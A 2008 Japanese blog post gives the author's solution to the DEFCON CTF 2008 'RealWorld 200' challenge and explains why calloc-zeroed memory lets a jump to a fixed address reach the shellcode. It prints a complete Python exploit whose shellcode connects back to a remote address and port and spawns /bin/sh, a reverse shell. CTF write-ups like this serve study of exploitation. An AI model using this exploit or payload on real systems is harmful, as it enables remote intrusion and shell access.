KENJI’S BLOG このページをアンテナに追加 RSSフィード

Freezed...

2008-12-16

WBvol44の原稿送りました

ぎりぎり間に合った〜

今回のネタは「DEFCON CTF 2008 RealWorld 200」の回答でつ。結構長くなりました(参考文献)。

WBvol44更新されました(2008/12/22)。

追記:解き方補足

他の人から教えてもらったものなので、WBには書くのをためらったのですが、実はRealWorld 200はすばらしい模範解答がありまして、callocで確保されたメモリ領域は0x00で初期化されるので、マシン語コードとして実行した場合、0x00000000....は、add %al, (%eax) ってな感じになります。ここで、%alが0x00だったならば、この命令はNOPと同じ働きとなるため、わざわざ確保されたメモリ領域を推測せずとも良いわけです。つまり、結果的に、アドレス0804C000にジャンプさせるだけでshellcodeが実行できることになります。わざわざmallocではなくcallocを使ってたのはこのためだったのか…、と、少しCTFの問題作成者を見直しました。これは確かに良問ですね。というわけで、最終的な攻略コードはこんな感じ。

-----  exploit200r.py
#!/usr/bin/python
from socket import *

if __name__ == "__main__":

        s = socket()
        s.connect(('10.81.45.21', 3344))

        shellcode = "\x6a\x61\x58\x99\x52\x42\x52\x42\x52\x68"
        shellcode += "\x56\x51\x2d\x15" ## REMOTE ADDR
        shellcode += "\xcd\x80\x68"
        shellcode += "\x10\x02\x1e\x61" ## REMOTE PORT
        shellcode += "\x89\xe1\x6a\x10\x51\x50\x51\x97"
        shellcode += "\x6a\x62\x58"

        s.send(shellcode + '\n')

        shellcode = "\xcd\x80\xb0\x5a\x52"
        shellcode += "\x57\x52\xcd\x80\x4a\x79\xf6"
        shellcode += "\x68\x2f\x73\x68\x00\x68\x2f\x62"
        shellcode += "\x69\x6e\x89\xe3\x50\x54\x53\x53"
        shellcode += "\xb0\x3b\xcd\x80"
        shellcode += "\x00\xc0\x04\x08" ## RET ADDRESS

        s.send(shellcode + '\n')
        s.close
-----

うーん、すばらしす。

KanatokoKanatoko 2009/01/08 12:51 いつからpython派に…ガクブル

kenjiaikokenjiaiko 2009/01/09 12:43 いや、socket→connectの流れがあまりに簡単な言語だったのでw

トラックバック - http://d.hatena.ne.jp/kenjiaiko/20081216/1229696517